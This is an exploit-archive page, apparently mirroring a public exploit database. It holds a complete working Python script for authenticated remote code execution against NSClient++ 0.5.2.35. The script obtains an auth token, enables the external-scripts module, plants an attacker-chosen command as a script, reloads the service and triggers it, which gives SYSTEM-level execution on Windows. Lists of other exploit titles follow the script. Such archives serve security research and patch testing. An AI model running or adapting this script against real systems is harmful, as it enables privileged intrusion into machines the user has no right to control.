Menu

Search for hundreds of thousands of exploits

"NSClient++ 0.5.2.35 - Authenticated Remote Code Execution"

Author

Exploit author

kindredsec

Platform

Exploit platform

json

Release date

Exploit published date

2020-04-21

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: kindredsec
# Vendor Homepage: https://nsclient.org/
# Software Link: https://nsclient.org/download/
# Version: 0.5.2.35
# Tested on: Microsoft Windows 10 Pro (x64)
# CVE: N/A
#
# NSClient++ is a monitoring agent that has the option to run external scripts.
# This feature can allow an attacker, given they have credentials, the ability to execute
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
# Default, this leads to privileged code execution.

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import urllib3
import json
import sys
import random
import string
import time
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generateName():

	letters = string.ascii_lowercase + string.ascii_uppercase
	return ''.join(random.choice(letters) for i in range(random.randint(8,13)))

def printStatus(message, msg_type):

	C_YELLOW = '\033[1;33m'
	C_RESET = '\033[0m'
	C_GREEN = '\033[1;32m'
	C_RED = '\033[1;31m'

	if msg_type == "good":
		green_plus = C_GREEN + "[+]" + C_RESET 
		string = green_plus + " " + message

	elif msg_type == "info":
		yellow_ex = C_YELLOW + "[!]" + C_RESET
		string = yellow_ex + " " + message
	
	elif msg_type == "bad":
		red_minus = C_RED + "[-]" + C_RESET
		string = red_minus + " " + message

	print(string)


# This function adds a new external script containing the desired
# command, then saves the configuration
def configurePayload(session, cmd, key):

	printStatus("Configuring Script with Specified Payload . . .", "info")
	endpoint = "/settings/query.json"
	node = { "path" : "/settings/external scripts/scripts",
		 "key" : key } 
	value = { "string_data" :  cmd }
	update = { "node" : node , "value" : value }
	payload = [ { "plugin_id" : "1234",
		    "update" :  update } ] 
	json_data = { "type" : "SettingsRequestMessage", "payload" : payload }

	out = session.post(url = base_url + endpoint, json=json_data, verify=False)
	if "STATUS_OK" not in str(out.content):
		printStatus("Error configuring payload. Hit error at: "  + endpoint, "bad")
		sys.exit(1)

	printStatus("Added External Script (name: " + key + ")", "good")
	time.sleep(3)
	printStatus("Saving Configuration . . .", "info")
	header = { "version" : "1" }
	payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
	json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }
	
	session.post(url = base_url + endpoint, json=json_data, verify=False)	


# Since the application needs to be restarted after making changes,
# this function reloads the application, and waits for it to come back.
def reloadConfig(session):

	printStatus("Reloading Application . . .", "info")
	endpoint = "/core/reload"
	session.get(url = base_url + endpoint, verify=False)
	
	# Wait until the application successfully reloads by making a request
	# every 10 seconds until it responds.
	printStatus("Waiting for Application to reload . . .", "info")
	time.sleep(10)
	response = False
	count = 0 
	while not response:
		try:
			out = session.get(url = base_url, verify=False, timeout=10)
			if len(out.content) > 0:
				response = True
		except:
			count += 1
			if count > 10:
				printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
				sys.exit(1)
			else:
				continue	


# This function makes the call to the new external script to
# ultimately execute the code.
def triggerPayload(session, key):

	printStatus("Triggering payload, should execute shortly . . .", "info")
	endpoint = "/query/" + key
	try:
		session.get(url = base_url + endpoint, verify=False, timeout=10)
	except requests.exceptions.ReadTimeout:
		printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
		sys.exit(0)


# Before setting up the exploit, this function makes sure the
# required feature (External Scripts) is enabled on the application.
def enableFeature(session):

	printStatus("Enabling External Scripts Module . . .", "info")
	endpoint = "/registry/control/module/load"
	params = { "name" : "CheckExternalScripts" }
	out = session.get(url = base_url + endpoint, params=params, verify=False)
	if "STATUS_OK" not in str(out.content):
		printStatus("Error enabling required feature. Hit error at: "  + endpoint, "bad")
		sys.exit(1)


# This function obtains an authentication token that gets added to all
# remaining headers.
def getAuthToken(session):

	printStatus("Obtaining Authentication Token . . .", "info")
	endpoint = "/auth/token"
	params = { "password" : password }
	auth = session.get(url = base_url + endpoint, params=params, verify=False)	
	if "auth token" in str(auth.content):
		j = json.loads(auth.content)
		authToken = j["auth token"]
		printStatus("Got auth token: " + authToken, "good")
		return authToken
	else:
		printStatus("Error obtaining auth token, is your password correct? Hit error at: "  + endpoint, "bad")
		sys.exit(1)
		


parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
args = parser.parse_args()

if len(sys.argv) < 4:
	parser.print_help()
	sys.exit(1)

# Build base URL, grab needed arguments
base_url = "https://" + args.t + ":" + args.P
printStatus("Targeting base URL " + base_url, "info")
password = args.p
cmd = args.c

# Get first auth token, and add it to headers of session
s = requests.session()
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Generate a random name, enable the feature, add the payload,
# then reload.
randKey = generateName()
enableFeature(s)
configurePayload(s, cmd, randKey)
reloadConfig(s)

# Since application was reloaded, need a new auth token.
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Execute our code.
triggerPayload(s, randKey)
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-10-09 "openMAINT 1.1-2.4.2 - Arbitrary File Upload" webapps json mrb3n
2020-10-06 "EasyPMS 1.0.0 - Authentication Bypass" webapps json Jok3r
2020-04-21 "NSClient++ 0.5.2.35 - Authenticated Remote Code Execution" webapps json kindredsec
2020-02-05 "AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)" webapps json "Ihsan Sencan"
2020-02-05 "AVideo Platform 8.1 - Information Disclosure (User Enumeration)" webapps json "Ihsan Sencan"
2020-02-05 "Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)" webapps json nxkennedy
2019-10-30 "Ajenti 2.1.31 - Remote Code Exection (Metasploit)" webapps json "Onur ER"
2019-09-25 "NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution" webapps json "Semen Alexandrovich Lyhin"
2018-11-05 "Royal TS/X - Information Disclosure" webapps json "Jakub Palaczynski"
2018-04-09 "CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution" webapps json "RedTeam Pentesting"
Release Date Title Type Platform Author
2020-04-21 "NSClient++ 0.5.2.35 - Authenticated Remote Code Execution" webapps json kindredsec
2019-08-14 "ManageEngine opManager 12.3.150 - Authenticated Code Execution" webapps windows kindredsec
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.